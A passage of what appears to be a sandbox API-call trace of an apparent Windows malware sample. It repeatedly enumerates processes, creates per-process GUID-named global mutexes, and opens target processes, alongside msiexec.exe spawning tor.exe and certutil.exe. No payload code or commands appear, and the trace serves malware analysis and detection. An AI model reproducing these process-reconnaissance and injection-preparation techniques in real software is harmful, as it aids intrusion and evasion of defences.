cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0118.103] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0118.104] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0118.104] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0118.105] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0118.106] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0118.107] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0118.107] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0118.108] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0118.109] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0118.110] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.111] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.111] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.112] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.113] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x354, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.114] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0118.115] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.115] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x160, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.116] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0118.117] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.118] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0118.119] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0118.119] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x6cc [0118.119] GetLastError () returned 0xb7 [0118.119] CloseHandle (hObject=0x6cc) returned 1 [0118.119] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x318, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0118.120] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0118.120] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x6cc [0118.120] GetLastError () returned 0xb7 [0118.120] CloseHandle (hObject=0x6cc) returned 1 [0118.120] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x550, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0118.121] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0118.122] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0118.122] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x6cc [0118.122] GetLastError () returned 0x0 [0118.122] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0118.122] CloseHandle (hObject=0x6cc) returned 1 [0118.122] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0118.123] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0118.123] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x6cc [0118.123] GetLastError () returned 0x0 [0118.123] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0118.123] CloseHandle (hObject=0x6cc) returned 1 [0118.123] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0118.124] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0118.124] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x6cc [0118.124] GetLastError () returned 0xb7 [0118.124] CloseHandle (hObject=0x6cc) returned 1 [0118.124] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0118.125] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x5e, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0x9b, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 39 [0118.125] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 0x6cc [0118.125] GetLastError () returned 0x0 [0118.125] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x78c) returned 0x0 [0118.125] CloseHandle (hObject=0x6cc) returned 1 [0118.125] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospectssayspotteryamplifier.exe")) returned 1 [0118.126] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="combinations-bits-tape.exe")) returned 1 [0118.127] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delicious_sale.exe")) returned 1 [0118.128] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="friendly.exe")) returned 1 [0118.129] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reveal-salaries-mandate.exe")) returned 1 [0118.130] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x628, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="catalogvidsmoreoverrail.exe")) returned 1 [0118.131] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="sri-gods.exe")) returned 1 [0118.131] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="wines-fix-hopefully-analyzed.exe")) returned 1 [0118.132] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="lovers_voices_chicks.exe")) returned 1 [0118.133] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="cool rev connection ranger.exe")) returned 1 [0118.134] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psychiatrychip.exe")) returned 1 [0118.135] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delivers_launches_tagged_antique.exe")) returned 1 [0118.136] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pp availability.exe")) returned 1 [0118.137] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pdtdifficultrolandddr.exe")) returned 1 [0118.138] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="falls.exe")) returned 1 [0118.138] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="slightly dentists modified.exe")) returned 1 [0118.139] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="switchconventionspeppercovered.exe")) returned 1 [0118.140] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="statutes_slow_determines_ciao.exe")) returned 1 [0118.141] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psp.exe")) returned 1 [0118.142] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="anonymous.exe")) returned 1 [0118.143] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="concept_nor_works_holder.exe")) returned 1 [0118.144] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.144] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="OSPPSVC.EXE")) returned 1 [0118.145] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x934, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.243] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0118.244] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0118.245] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0118.246] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0118.246] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x840, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0118.247] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.248] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="msiexec.exe")) returned 1 [0118.249] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0118.249] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x6cc [0118.249] GetLastError () returned 0xb7 [0118.249] CloseHandle (hObject=0x6cc) returned 1 [0118.249] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x65c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tor.exe")) returned 1 [0118.250] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x65c, pcPriClassBase=8, dwFlags=0x0, szExeFile="certutil.exe")) returned 1 [0118.251] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x65c, pcPriClassBase=8, dwFlags=0x0, szExeFile="certutil.exe")) returned 0 [0118.252] CloseHandle (hObject=0x56c) returned 1 [0118.252] WaitForSingleObject (hHandle=0x67c, dwMilliseconds=0x64) returned 0x102 [0118.383] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x56c [0118.385] Process32FirstW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0118.386] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0118.387] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0118.388] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0118.389] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0118.389] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0118.390] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0118.391] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, 